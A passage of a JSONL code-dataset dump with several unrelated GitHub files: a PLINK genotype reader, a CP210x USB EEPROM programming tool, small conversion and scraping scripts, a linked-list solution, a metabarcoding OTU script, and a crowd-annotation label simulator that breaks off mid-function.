Allele.a0\n else:\n raise ValueError(\"Unknown reference allele.\")\n\n G = _read_file(\n bed_files, lambda f: _read_bed(f, nsamples, nmarkers[f], ref_al, chunk), pbar\n )\n G = da.concatenate(G, axis=1)\n\n G = DataArray(G, dims=[\"sample\", \"variant\"], coords=[sample_ids, variant_ids])\n sample = {c: (\"sample\", fam_df[c]) for c in fam_df.columns}\n variant = {c: (\"variant\", bim_df[c]) for c in iter(bim_df.columns)}\n G = G.assign_coords(**sample)\n G = G.assign_coords(**variant)\n G.name = \"genotype\"\n\n pbar.close()\n\n return G\n\n\ndef _read_file(fn, read_func, pbar):\n data = []\n for f in fn:\n data.append(read_func(f))\n pbar.update(1)\n return data\n\n\ndef _read_csv(fn, header) -> DataFrame:\n\n df = read_csv(\n fn,\n delim_whitespace=True,\n header=None,\n names=list(header.keys()),\n dtype=header,\n compression=None,\n engine=\"c\",\n iterator=False,\n )\n assert isinstance(df, DataFrame)\n return df\n\n\ndef _read_bim(fn):\n df = _read_bim_noi(fn)\n df[\"i\"] = range(df.shape[0])\n return df\n\n\ndef _read_bim_noi(fn):\n from ._type import bim\n\n header = odict(\n [\n (\"chrom\", bim[\"chrom\"]),\n (\"snp\", bim[\"snp\"]),\n (\"cm\", bim[\"cm\"]),\n (\"pos\", bim[\"pos\"]),\n (\"a0\", bim[\"a0\"]),\n (\"a1\", bim[\"a1\"]),\n ]\n )\n return _read_csv(fn, header)\n\n\ndef _read_fam(fn):\n df = _read_fam_noi(fn)\n df[\"i\"] = range(df.shape[0])\n return df\n\n\ndef _read_fam_noi(fn):\n from ._type import fam\n\n header = odict(\n [\n (\"fid\", fam[\"fid\"]),\n (\"iid\", fam[\"iid\"]),\n (\"father\", fam[\"father\"]),\n (\"mother\", fam[\"mother\"]),\n (\"gender\", fam[\"gender\"]),\n (\"trait\", fam[\"trait\"]),\n ]\n )\n\n return _read_csv(fn, header)\n\n\ndef _read_bed(fn, nsamples, nvariants, ref: Allele, chunk: Chunk):\n _check_bed_header(fn)\n major = _major_order(fn)\n\n # Assume major == \"variant\".\n nrows = nvariants\n ncols = nsamples\n row_chunk = nrows if chunk.nvariants is None else min(nrows, chunk.nvariants)\n col_chunk = ncols if chunk.nsamples is None else min(ncols, chunk.nsamples)\n\n if major == \"sample\":\n nrows, ncols = ncols, nrows\n row_chunk, col_chunk = col_chunk, row_chunk\n\n max_npartitions = 16_384\n row_chunk = max(nrows // max_npartitions, row_chunk)\n col_chunk = max(ncols // max_npartitions, col_chunk)\n\n G = read_bed(fn, nrows, ncols, row_chunk, col_chunk, ref)\n if major == \"variant\":\n G = G.T\n\n return G\n\n\ndef _check_bed_header(fn):\n with open(fn, \"rb\") as f:\n arr = f.read(2)\n if len(arr) < 2:\n raise ValueError(\"Couldn't read BED header: %s.\" % fn)\n ok = arr[0] == 108 and arr[1] == 27\n if not ok:\n raise ValueError(\"Invalid BED file: %s.\" % fn)\n\n\ndef _major_order(fn):\n \"\"\"\n Major order.\n\n Variant-major lists all samples for first variant, all samples for second\n variant, and so on. Sample-major lists all variants for first sample, all\n variants for second sample, and so on.\n \"\"\"\n with open(fn, \"rb\") as f:\n f.seek(2)\n arr = f.read(1)\n if len(arr) < 1:\n raise ValueError(\"Couldn't read column order: %s.\" % fn)\n if arr[0] == 1:\n return \"variant\"\n elif arr[0] == 0:\n return \"sample\"\n msg = \"Invalid matrix layout. Maybe it is a PLINK2 file?\"\n msg += \" PLINK2 is not supported yet.\"\n raise ValueError(msg)\n\n\ndef _clean_prefixes(prefixes):\n paths = []\n for p in prefixes:\n dirn = dirname(p)\n basen = basename(p)\n base = \".\".join(basen.split(\".\")[:-1])\n if len(base) == 0:\n path = p\n else:\n ext = basen.split(\".\")[-1]\n if ext not in [\"bed\", \"fam\", \"bim\", \"nosex\", \"log\"]:\n base += \".\" + ext\n path = join(dirn, base)\n paths.append(path)\n return list(set(paths))\n","repo_name":"limix/pandas-plink","sub_path":"pandas_plink/_read.py","file_name":"_read.py","file_ext":"py","file_size_in_byte":15575,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"21"} +{"seq_id":"29496304921","text":"import optparse\nimport re\nimport string\nimport sys\nimport traceback\n\nfrom cp210x import __license__, __version__, cp210x, valuefile\nfrom cp210x.eeprom import EEPROM, HexFileError\nfrom cp210x.valuefile import (\n ValuesFileError,\n read_baudrate_info,\n update_values,\n)\n\nTRANS_UNDERSCORE = str.maketrans('_', '-')\n\nERR_OK = 0\nERR_WRONG_INPUT = -1\nERR_INTERNAL = -2\nERR_DEVICE_LOCKED = -3\nERR_DEVICE_NOT_FOUND = -4\nERR_DEVICE_ERROR = -5\nERR_OTHER = -100\n\ndef error(message, retval=-1):\n sys.stderr.write(message + \"\\n\")\n sys.exit(retval)\n\nclass Option(optparse.Option):\n TYPES = list(optparse.Option.TYPES)\n TYPE_CHECKER = dict(optparse.Option.TYPE_CHECKER)\n for type, (reader, _) in list(valuefile.TYPES.items()):\n if type in TYPES:\n continue\n TYPES.append(type)\n def checker(self, name, value, reader=reader):\n try:\n return reader(value)\n except ValueError as err:\n raise optparse.OptionValueError(\"option %s: %s\" % (name,\n str(err)))\n TYPE_CHECKER[type] = checker\n\nclass OptionParser(optparse.OptionParser):\n def error(self, msg):\n error(msg, ERR_WRONG_INPUT)\n\n def __init__(self, *args, **kwargs):\n if 'option_class' not in kwargs:\n kwargs['option_class'] = Option\n optparse.OptionParser.__init__(self, *args, **kwargs)\n\ndef input_file(arg):\n if arg is None or arg == '-':\n return sys.stdin\n else:\n return open(arg, 'r')\n\ndef output_file(arg):\n if arg is None or arg == '-':\n return sys.stdout\n else:\n return open(arg, 'w', newline='\\n')\n\ndef options_to_values(options):\n values = {}\n for name, type in cp210x.VALUES:\n if name == \"baudrate_table\":\n continue\n value = getattr(options, name)\n if value is not None:\n values[name] = value\n\n if options.baudrate_table:\n baudrate_table = []\n for s in options.baudrate_table:\n try:\n baudrate, info = s.split(':')\n except TypeError:\n error(\"option --set-baudrate: requires two parts separated by ':'\",\n ERR_WRONG_INPUT)\n try:\n baudrate_table.append(read_baudrate_info(info) +\n (int(baudrate), ))\n except ValueError as err:\n error(\"option --set-baudrate: %s\" % str(err),\n ERR_WRONG_INPUT)\n\n values['baudrate_table'] = baudrate_table\n return values\n\ndef find_device(patterns):\n usb_patterns = []\n for pattern in patterns:\n if ':' in pattern:\n try:\n vidString, pidString = pattern.split(':')\n vid = int(vidString, 16)\n pid = int(pidString, 16)\n\n except (TypeError, ValueError):\n error(\"Match must be either 'ddd/ddd' or 'hhhh:hhhh'.\",\n ERR_WRONG_INPUT)\n\n usb_patterns.append(dict(idVendor=vid, idProduct=pid))\n\n elif '/' in pattern:\n try:\n busString, addressString = pattern.split('/')\n bus = int(busString)\n address = int(addressString)\n\n except (TypeError, ValueError):\n error(\"Match must be either 'ddd/ddd' or 'hhhh:hhhh'.\",\n ERR_WRONG_INPUT)\n\n usb_patterns.append(dict(bus=bus, address=address))\n\n else:\n error(\"Match must be either 'ddd/ddd' or 'hhhh:hhhh'.\",\n ERR_WRONG_INPUT)\n\n for dev in cp210x.Cp210xProgrammer.list_devices(usb_patterns):\n return dev\n\n error(\"No devices found\", ERR_DEVICE_NOT_FOUND)\n\ndef read_cp210x(options):\n usbdev = find_device(options.match)\n print(\"USB find_device returned:\\n{}\".format(usbdev))\n dev = cp210x.Cp210xProgrammer(usbdev)\n print(\"Cp210xProgrammer returned obj:\\n{}\".format(repr(dev)))\n\n if isinstance(dev, cp210x.Cp210xProgrammer):\n print(\"Cp210xProgrammer instance is valid!!\")\n\n eeprom = EEPROM(dev)\n print(\"EEPROM returned obj:\\n{}\".format(repr(eeprom)))\n\n if options.hex_output:\n eeprom.write_hex_file(output_file(options.hex_output))\n if options.ini_output or not options.hex_output:\n valuefile.write_file(output_file(options.ini_output), eeprom.get_values())\n\ndef write_cp210x(options):\n usbdev = find_device(options.match)\n dev = cp210x.Cp210xProgrammer(usbdev)\n\n if options.hex_input or options.force_eeprom:\n\n if options.hex_input:\n eeprom = EEPROM(input_file(options.hex_input))\n else:\n eeprom = EEPROM(dev)\n\n values = eeprom.get_values()\n if options.ini_input:\n values = valuefile.read_file(input_file(options.ini_input))\n update_values(values, options_to_values(options), eeprom)\n\n eeprom.set_values(values)\n\n eeprom.write_to_cp210x(dev)\n\n else:\n if options.ini_input:\n values = valuefile.read_file(input_file(options.ini_input))\n else:\n values = {}\n update_values(values, options_to_values(options), dev)\n dev.set_values(values)\n\n if options.reset_device:\n dev.reset()\n\ndef change_hexfile(options):\n eeprom = EEPROM(input_file(options.hex_input))\n values = {}\n if options.ini_input:\n update_values(values,\n valuefile.read_file(input_file(options.ini_input)),\n eeprom)\n update_values(values, options_to_values(options), eeprom)\n eeprom.set_values(values)\n if options.ini_output:\n valuefile.write_file(output_file(options.ini_output),\n eeprom.get_values())\n eeprom.write_hex_file(output_file(options.hex_output))\n\ndef parse_hexfile(options):\n eeprom = EEPROM(input_file(options.hex_input))\n valuefile.write_file(output_file(options.ini_output), eeprom.get_values())\n\nparser = OptionParser(version=__version__, description=__doc__)\nparser.add_option(\"-r\", \"--read-cp210x\", const=read_cp210x,\n dest=\"action\", action=\"store_const\")\nparser.add_option(\"-w\", \"--write-cp210x\", const=write_cp210x,\n dest=\"action\", action=\"store_const\")\nparser.add_option(\"-c\", \"--change-hexfile\", const=change_hexfile,\n dest=\"action\", action=\"store_const\")\nparser.add_option(\"-p\", \"--parse-hexfile\", const=parse_hexfile,\n dest=\"action\", action=\"store_const\")\nparser.add_option(\"-F\", \"--hex-input\", metavar=\"FILE\")\nparser.add_option(\"-f\", \"--hex-output\", metavar=\"FILE\")\nparser.add_option(\"-I\", \"--ini-input\", metavar=\"FILE\")\nparser.add_option(\"-i\", \"--ini-output\", metavar=\"FILE\")\nfor name, type in cp210x.VALUES:\n if name == 'baudrate_table':\n continue\n parser.add_option(\"--set-\" + name.translate(TRANS_UNDERSCORE),\n dest=name, metavar=name.upper(), type=type)\nparser.add_option(\"--set-baudrate\", action=\"append\", dest=\"baudrate_table\")\nparser.add_option(\"-m\", \"--match\", action=\"append\", metavar=\"PATTERN\")\nparser.add_option(\"--reset-device\", action=\"store_true\")\nparser.add_option(\"--force-eeprom\", action=\"store_true\")\n\nparser.set_defaults(\n action=read_cp210x,\n hex_input=None,\n hex_output=None,\n ini_input=None,\n ini_output=None,\n match=[],\n baudrate_table=[],\n reset_device=False,\n force_eeprom=False,\n)\n\ndef main():\n (options, _) = parser.parse_args()\n if not options.match:\n options.match = ['10C4:EA60', '10C4:EA61']\n options.action(options)\n\nif __name__ == '__main__':\n try:\n main()\n\n except cp210x.DeviceLocked:\n error(\"Cannot write data to device. Device is locked.\",\n ERR_DEVICE_LOCKED)\n\n except cp210x.Cp210xError as err:\n error(str(err), ERR_DEVICE_ERROR)\n\n except IOError as err:\n error(str(err), ERR_OTHER)\n\n except HexFileError as err:\n error(str(err), ERR_OTHER)\n\n except ValuesFileError as err:\n error(str(err), ERR_OTHER)\n\n except SystemExit as err:\n raise\n\n except:\n traceback.print_exc()\n sys.exit(ERR_INTERNAL)\n","repo_name":"VCTLabs/cp210x-program","sub_path":"scripts/cp210x-program.py","file_name":"cp210x-program.py","file_ext":"py","file_size_in_byte":8247,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"21"} +{"seq_id":"12847849364","text":"# TempConverter\n\n# This program ask user to input tempearture in fahrenheit then convert's it into celsius.\n\ninp = input('Enter Fahrenheit Temperature: ') # ask for input\ntry:\n fahrenheit = float(inp)\n celsius = ((fahrenheit - 32)*5/9) # convert's temperature.\n print(celsius)\nexcept:\n print(\"Invalid input. Please enter a number\")\n","repo_name":"xzebcex/TempConverter","sub_path":"temp_converter.py","file_name":"temp_converter.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20402493610","text":"import json\nimport csv\n\nrow_list = []\n\nf = open('double-take.json')\ndata = json.load(f)\n#print(data)\n\n# add the equivalent scalar metadata labels for each row here\nheader_row = [\n 'dcterms:source', \n '?',\n 'dcterms:date'\n 'dcterms:title'\n]\n\nfor item in data['objects']:\n URL = (item['URL'])\n Disp_Access_No = (item['Disp_Access_No'])\n Disp_Create_DT = (item['Disp_Create_DT'])\n Disp_Title = (item['Disp_Title'])\n Obj_Title = (item['Obj_Title'])\n Disp_Maker_1 = (item['Disp_Maker_1'])\n Disp_Height = (item['Disp_Height'])\n Disp_Width = (item['Disp_Width'])\n Medium = (item['Medium'])\n Info_Page_Comm = (item['Info_Page_Comm'])\n Dedication = (item['Dedication'])\n Disp_Obj_Type = (item['Disp_Obj_Type'])\n Images = (item['Images'])\n for url in Images:\n ImagePath = url['ImagePath']\n ThumbnailPath = url[\"ThumbnailPath\"]\n \n eachitem = [URL, Disp_Access_No, Disp_Create_DT, Disp_Title,\n Obj_Title, Disp_Maker_1, Disp_Height, Disp_Width, Medium,\n Info_Page_Comm, Dedication, Disp_Obj_Type, ImagePath, ThumbnailPath]\n \n row_list.append(eachitem)\n\nwith open('output/double-take.csv', 'w', newline='') as file:\n writer = csv.writer(file)\n writer.writerow(header_row)\n writer.writerows(row_list) \n \n '''\n # I just manually added the headers/metadata fields because I forgot how to do that in python\n '''","repo_name":"digbmc/triarte-scalar","sub_path":"double-take-json-to-csv-code.py","file_name":"double-take-json-to-csv-code.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12928293637","text":"\n\n\n\n\ndef gene_card_request(ensgid):\n '''\n Passing Ensembl gene id, return its webpage on Genecards\n '''\n\n ## importation\n\n import requests\n import html\n import time\n import argparse\n\n url_to_request='https://www.genecards.org/cgi-bin/carddisp.pl?gene=' + ensgid\n headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n r = requests.get(url_to_request, headers=headers)\n gene_card_html = html.unescape(r.text)\n\n return gene_card_html\n\n\n\"\"\"\nstuff = gene_card_request(\"GC17P076453\")\nprint(stuff)\n\"\"\"\n\ndef hunt(genecard_id):\n \"\"\"\n \"\"\"\n\n ## importation\n import re\n from bs4 import BeautifulSoup\n\n ## parameters\n best_confidence = 0\n best_spot = \"NA\"\n\n ## get html page for gene\n html_response = gene_card_request(genecard_id)\n\n ## hunt location in html\n soup = BeautifulSoup(html_response, 'html.parser')\n stuff = soup.find(\"div\", {\"id\": \"jensenLocalization\"})\n\n extracted = re.findall(\"(
0):\n extracted = extracted[0]\n\n ## clean\n extracted = extracted.split(\"data-model=\\\"\")\n extracted = extracted[1]\n extracted = extracted.replace(\"{\", \"\")\n extracted = extracted.replace(\"[\", \"\")\n extracted = extracted.replace(\"\\\"\", \"\")\n extracted = extracted.replace(\" \", \"\")\n extracted = extracted.replace(\"gc-compartment-image=\", \"\")\n extracted = extracted.replace(\"id=jensenLocalizationImage\", \"\")\n extracted = extracted.replace(\"src=/Images/jensen_images.html\", \"\")\n extracted = extracted.replace(\"title=Jensen Localization Image\", \"\")\n extracted = extracted.replace(\"name:golgi=title=JensenLocalizationImage\", \"\")\n extracted = extracted.replace(\"}]=title=JensenLocalizationImage\", \"\")\n extracted = extracted.split(\"},\")\n\n ## extract informations\n spot_to_confidence = {}\n for elt in extracted:\n elt = elt.split(\",\")\n if(len(elt) > 1):\n spot = elt[0]\n spot = spot.replace(\"name:\", \"\")\n spot = spot.split(\"=\")\n if(len(spot)>1):\n spot = spot[1]\n else:\n spot = spot[0]\n confidence = elt[1]\n confidence = confidence.replace(\"confidence:\", \"\")\n\n #-> clean confidence\n if(\"}\" in confidence):\n confidence = confidence.split(\"}\")\n confidence = confidence[0]\n\n #-> update data structure\n spot_to_confidence[spot] = confidence\n\n #-> pick best spot\n if(float(confidence) > best_confidence):\n best_confidence = float(confidence)\n best_spot = spot\n elif(float(confidence) == best_confidence):\n best_spot = best_spot+\" / \"+spot\n\n ## return best confidence\n return best_spot\n\n\ndef run_hunt_on_data_file():\n \"\"\"\n \"\"\"\n ## importation\n import pandas as pd\n import os\n\n ## parameters\n target_file = \"localisation_dataset.csv\"\n output_file = \"localization_hunt_results.csv\"\n already_computed = []\n\n ## stop and go\n if(os.path.isfile(output_file)):\n df = pd.read_csv(output_file, encoding = 'cp1252')\n already_computed = list(df['ID'])\n output_data = open(output_file, \"a\")\n else:\n #-> init output file\n output_data = open(output_file, \"w\")\n output_data.write(\"ID,LOC1,LOC2,LOC3,PREDICTED\\n\")\n\n ## load dataset\n df = pd.read_csv(target_file)\n nb_to_process = int(df.shape[0])\n\n ## loop over data\n cmpt = 0\n for index, row in df.iterrows():\n\n gen_id = row['Gene name']\n true_spot_1 = row['localization 1']\n true_spot_2 = row['localization 2']\n true_spot_3 = row['localization 3']\n\n ## hunt spot\n if(gen_id not in already_computed):\n\n ## hunt\n predicted_spot = hunt(gen_id)\n\n ## compute progress\n cmpt +=1\n progress = (float(cmpt) / float(nb_to_process))*100.0\n progress += \"%\"\n\n ## display something\n print(\"[+][HUNT] \"+str(gen_id)+\" => \"+str(predicted_spot)+\" # \"+str(progress)+\" completed\")\n\n ## update result file\n output_data.write(str(gen_id)+\",\"+str(true_spot_1)+\",\"+str(true_spot_2)+\",\"+str(true_spot_3)+\",\"+str(predicted_spot)+\"\\n\")\n else:\n\n ## compute progress\n cmpt +=1\n progress = (float(cmpt) / float(nb_to_process))*100.0\n progress += \"%\"\n\n ## display something\n print(\"[+][HUNT] \"+str(gen_id)+\" => already extracted\"+\" # \"+str(progress)+\" completed\")\n\n\n ## close output_file\n output_data.close()\n\nrun_hunt_on_data_file()\n","repo_name":"Nurtal/CalciHunt","sub_path":"location_hunter.py","file_name":"location_hunter.py","file_ext":"py","file_size_in_byte":5009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1320860246","text":"\"\"\"\nYou are given the heads of two sorted linked lists list1 and list2.\n\nMerge the two lists in a one sorted list. The list should be made by splicing together the nodes of the first two lists.\n\nReturn the head of the merged linked list.\n\nExample:\nInput: list1 = [1,2,4], list2 = [1,3,4]\nOutput: [1,1,2,3,4,4]\n\n\"\"\"\n\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:\n if not list1:\n return list2\n elif not list2:\n return list1\n # we're creating a new linked list which includes both merged lists\n if list1.val <= list2.val:\n head = ListNode(list1.val)\n list1 = list1.next\n else:\n head = ListNode(list2.val)\n list2 = list2.next\n \n cur = head\n while list1 and list2:\n if list1.val < list2.val:\n temp = ListNode(list1.val)\n cur.next = temp\n cur = temp\n list1 = list1.next\n else:\n temp = ListNode(list2.val)\n cur.next = temp\n cur = temp\n list2 = list2.next\n \n if list1:\n cur.next = list1\n elif list2:\n cur.next = list2\n return head","repo_name":"YaraHorany/Programming-Challenges","sub_path":"MergeTwoSortedLists.py","file_name":"MergeTwoSortedLists.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70090441654","text":"readNr = {}\nfor sample in snakemake.params.samples:\n readNr[sample] = {}\n for line in open(\"swarm/%s.ITS2.otus.out\" % sample):\n otuStr, nr = line.strip(\"\\n\").split(\"\\t\")\n otu = otuStr.split(\"|\")[0]\n readNr[sample][otu] = nr\n\nr58sCls = {}\nfor line in open(snakemake.input.tax58s):\n name, lin, nr = line.strip().split(\"\\t\")\n r58sCls[name.split(\"|\")[0]] = lin\n\nitsCls = {}\nfor line in open(snakemake.input.taxIts):\n name, lin = line.strip().split(\"\\t\")\n itsCls[name.split(\"|\")[0]] = lin\n\nwith open(snakemake.output[0], \"w\") as out:\n out.write(\"otu_ID\\t5.8S classification\\tITS2 classification\\tfinal classification\\t%s\\n\" % \"\\t\".join(snakemake.params.samples))\n for line in open(snakemake.input.taxComb):\n otu, cls = line.strip(\"\\n\").split(\"\\t\")\n numbers = [readNr[sample].get(otu, \"0\") for sample in snakemake.params.samples]\n out.write(\"%s\\t%s\\t%s\\t%s\\t%s\\n\" % (otu, r58sCls[otu], itsCls[otu], cls, \"\\t\".join(numbers)))\n","repo_name":"f-heeger/two_marker_metabarcoding","sub_path":"scripts/createOtuTab.py","file_name":"createOtuTab.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"17265095585","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 29 14:53:36 2018\r\n\r\n@author: ASUS\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jun 6 14:26:57 2018\r\n\r\n@author: HP\r\n\"\"\"\r\n\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.feature_extraction.text import TfidfVectorizer\r\nfrom sklearn.decomposition import NMF\r\nfrom random import randrange\r\nimport csv\r\nfrom pathlib import Path\r\nimport random\r\n\r\n\r\n#=============================Topic Independent Simulator ================================================\r\ndef simulateLabels(groundTruth,tweets_topics,topics,numberAnnotators,meanAccuarcy,SdAccuracy,meanLikelihood,nb_labels):\r\n x=[]\r\n likelihood=[]\r\n numberTopics=len(tweets_topics[0])\r\n numberTweets=len(tweets_topics)\r\n print(numberTweets)\r\n annt_responses=np.full((numberAnnotators,numberTweets),0)\r\n annt_topics=np.full((numberAnnotators,nb_topics),1.0)\r\n annt_topics_float=np.full((numberAnnotators,nb_topics),1.0)\r\n for m in range(0,numberAnnotators):\r\n done=False\r\n while(done==False):\r\n val=np.random.normal(loc=meanAccuarcy,scale=SdAccuracy ,size=1)#the accurcy for each annotater\r\n val=val/100\r\n \r\n if val>0 and val<1:\r\n x.append(val)\r\n done=True\r\n \r\n for m in range(0,numberAnnotators):\r\n done=False\r\n while(done==False):\r\n val1=np.random.exponential(scale=meanLikelihood,size=1)\r\n val1=val1/100\r\n if val1>0.0 and val1<1.0:\r\n likelihood.append(val1)\r\n ##likelihood.append(0.005)\r\n done=True\r\n \r\n annt_counter=[]\r\n for m in range(0,numberAnnotators):\r\n counter=0\r\n for i in range(0,numberTweets):\r\n correct=np.random.binomial(1,x[m],1)\r\n annotate=np.random.binomial(1,likelihood[m],1)\r\n if (annotate[0]!=0.0):\r\n counter=counter+1\r\n if correct[0]==1: \r\n annt_responses[m,i]=groundTruth[i]\r\n for c in range(0,numberTopics):\r\n if tweets_topics[i,c]!=0.0:\r\n annt_topics[m,c]=annt_topics[m,c]+1\r\n annt_topics_float[m,c]=round(annt_topics[m,c]+(tweets_topics[i,c]),4)\r\n \r\n else:\r\n annt_responses[m,i]=randrange(1,nb_labels+1,1) \r\n if annt_responses[m,i]==groundTruth[i]:\r\n for c in range(0,nb_topics):\r\n if tweets_topics[i,c]!=0.0:\r\n annt_topics[m,c]=annt_topics[m,c]+1\r\n annt_topics_float[m,c]=round(annt_topics[m,c]+(tweets_topics[i,c]),4)\r\n \r\n \r\n return (annt_topics,annt_topics_float,annt_responses)\r\n\r\n###======================================Topic dependent Simulator ==================================================\r\ndef simulateLabelsTopicsDependent(groundTruth,tweets_oneTopic,topics,numberAnnotators,reliablePercentage,SdAccuracy,meanLikelihood,nb_labels):\r\n likelihood=[]\r\n numberTopics=len(tweets_oneTopic[0])\r\n numberTweets=len(tweets_oneTopic)\r\n ##print(numberAnnotators)\r\n annt_responses=np.full((numberAnnotators,numberTweets),0)\r\n annt_oneTopic=np.full((numberAnnotators,numberTopics),1.0)\r\n annt_topics=np.full((numberAnnotators,numberTopics),1.0)\r\n annt_topics_float=np.full((numberAnnotators,numberTopics),1.0)\r\n \r\n for m in range(0,numberAnnotators):\r\n done=False\r\n while(done==False):\r\n val1=np.random.exponential(scale=meanLikelihood,size=1)\r\n val1=val1/100\r\n if val1>0.0 and val1<1.0:\r\n likelihood.append(val1)\r\n #likelihood.append(1.0)\r\n done=True\r\n annt_counter=[]\r\n counterreliable=0\r\n for m in range(0,numberAnnotators):\r\n counter=0\r\n \r\n ##print(\"annotator\",m)\r\n is_reliable=np.random.binomial(1,reliablePercentage,1)\r\n if is_reliable:\r\n counterreliable=counterreliable+1 \r\n for i in range(0,numberTopics):\r\n ##print(\"reliable\",i)\r\n topic_reliable=randrange(1,4,1) \r\n if topic_reliable==1: \r\n '''done=False\r\n while(done==False):\r\n val=np.random.normal(80,scale=10,size=1)#topic reliability\r\n val=val/100\r\n if val>0 and val<1:\r\n annt_oneTopic[m][i]=val\r\n done=True'''\r\n annt_oneTopic[m][i]=random.uniform(0.7,0.9) \r\n else:\r\n if topic_reliable==2: \r\n '''done3=False\r\n while(done3==False):\r\n val=np.random.normal(10,scale=10,size=1)#topic reliability\r\n val=val/100\r\n if val>0 and val<1:\r\n annt_oneTopic[m][i]=val\r\n done3=True'''\r\n annt_oneTopic[m][i]=0.5 \r\n else:\r\n annt_oneTopic[m][i]=random.uniform(0.05,0.1) \r\n else:\r\n for i in range(0,numberTopics):\r\n annt_oneTopic[m][i]=0.0 \r\n ''' ##print(\"unreliable\",i)\r\n done2=False\r\n while(done2==False):\r\n ##val=np.random.normal(10,scale=10,size=1)#topic reliability\r\n #val=random.uniform(0.02,0.1) \r\n val=val/100\r\n if val>0 and val<1:\r\n annt_oneTopic[m][i]=val\r\n done2=True\r\n ''' \r\n for tweetsCounter in range(0,numberTweets):\r\n correctProbability=0\r\n correctProbability2=0\r\n normalizeFactor=0\r\n \r\n annotate=np.random.binomial(1,likelihood[m],1)\r\n ##annotate=np.random.binomial(1,0.9,1) \r\n if (annotate[0]!=0.0):\r\n for topicCounter in range(0,nb_topics):\r\n if tweets_oneTopic[tweetsCounter][topicCounter]!=0:\r\n ##if annt_oneTopic[m][topicCounter]>=0.5:\r\n ##correctProbability2=correctProbability2+(tweets_oneTopic[tweetsCounter][topicCounter])\r\n correctProbability=correctProbability+(tweets_oneTopic[tweetsCounter][topicCounter]*annt_oneTopic[m][topicCounter])\r\n normalizeFactor=normalizeFactor+tweets_oneTopic[tweetsCounter][topicCounter]\r\n if normalizeFactor!=0.0: \r\n correctProbability=correctProbability/normalizeFactor\r\n else:\r\n correctProbability=0.0\r\n correct=np.random.binomial(1,correctProbability,1)\r\n ##correct=bernoulli.rvs(correctProbability, size=1)\r\n counter=counter+1\r\n if correct[0]==1: \r\n annt_responses[m,tweetsCounter]=groundTruth[tweetsCounter]\r\n for c in range(0,numberTopics):\r\n if tweets_oneTopic[tweetsCounter,c]!=0.0:\r\n ##print(\"correct topic\",c,\"value\",round(annt_oneTopic[m,c],4),\"tweet\",tweetsCounter,\"with value\",round(tweets_oneTopic[tweetsCounter,c],4),round(correctProbability,4),\"pro2\",round(correctProbability2/normalizeFactor,4))\r\n annt_topics[m,c]=annt_topics[m,c]+1\r\n annt_topics_float[m,c]=round(annt_topics[m,c]+(tweets_oneTopic[tweetsCounter,c]),4)\r\n \r\n else:\r\n annt_responses[m,tweetsCounter]=randrange(1,nb_labels+1,1) \r\n if annt_responses[m,tweetsCounter]==groundTruth[tweetsCounter]:\r\n for c in range(0,numberTopics):\r\n if tweets_oneTopic[tweetsCounter,c]!=0.0:\r\n annt_topics[m,c]=annt_topics[m,c]+1\r\n annt_topics_float[m,c]=round(annt_topics[m,c]+(tweets_oneTopic[tweetsCounter,c]),4)\r\n else:\r\n for c in range(0,numberTopics):\r\n if tweets_topics[tweetsCounter,c]!=0.0:\r\n annt_topics[m,c]=annt_topics[m,c]-0\r\n #annt_topics[m,c]=round(annt_topics[m,c]-(tweets_topics[i,c]/topics[c]),4)\r\n #annt_topics[m,c]=round(annt_topics[m,c]-(tweets_topics[i,c]),4)\r\n print(counterreliable) \r\n print(\"out\") \r\n return (annt_topics,annt_topics_float,annt_responses)\r\n\r\n###========================================================================================\r\n\r\n\r\n\r\ndef calculateReliability(groundTruth,annt_responses,nb_topics,numberTweets,tweets_topics_local):\r\n annt_topics=np.full((len(annt_responses),nb_topics),1.0)\r\n annt_topics_float=np.full((len(annt_responses),nb_topics),1.0)\r\n for m in range(0,len(annt_responses)):\r\n for i in range(0,numberTweets):\r\n if annt_responses[m,i]==groundTruth[i]:\r\n for c in range(0,nb_topics):\r\n if tweets_topics_local[i,c]!=0.0:\r\n annt_topics[m,c]=annt_topics[m,c]+1\r\n annt_topics_float[m,c]=round(annt_topics[m,c]+(tweets_topics[i,c]),4)\r\n \r\n return (annt_topics,annt_topics_float)\r\n\r\n\r\n#=============== Kappa inter-agreement=============================\r\ndef kappa_aggreement(annt_responses_local,nb_labels):\r\n kappa_agree=[]\r\n kappa_agree_temp=np.zeros((len(annt_responses_local),len(annt_responses_local)))\r\n norms=np.full((len(annt_responses_local)),1.0)\r\n nb_annotators=len(annt_responses_local)\r\n nb_tweets=len(annt_responses_local[0])\r\n \r\n for i in range(0,nb_annotators):\r\n norm=1.0\r\n kappa=0.0\r\n for j in range(i+1,nb_annotators):\r\n common=False\r\n confusion=np.full((nb_labels,nb_labels),0)\r\n for z in range(0,nb_tweets):\r\n if annt_responses_local[i][z]!=0 and annt_responses_local[j][z]!=0:\r\n common=True \r\n confusion[(annt_responses_local[i][z])-1][(annt_responses_local[j][z])-1]=confusion[(annt_responses_local[i][z])-1][(annt_responses_local[j][z])-1]+1\r\n if common==True:\r\n norms[i]=norms[i]+1\r\n norms[j]=norms[j]+1\r\n total=confusion.sum()\r\n 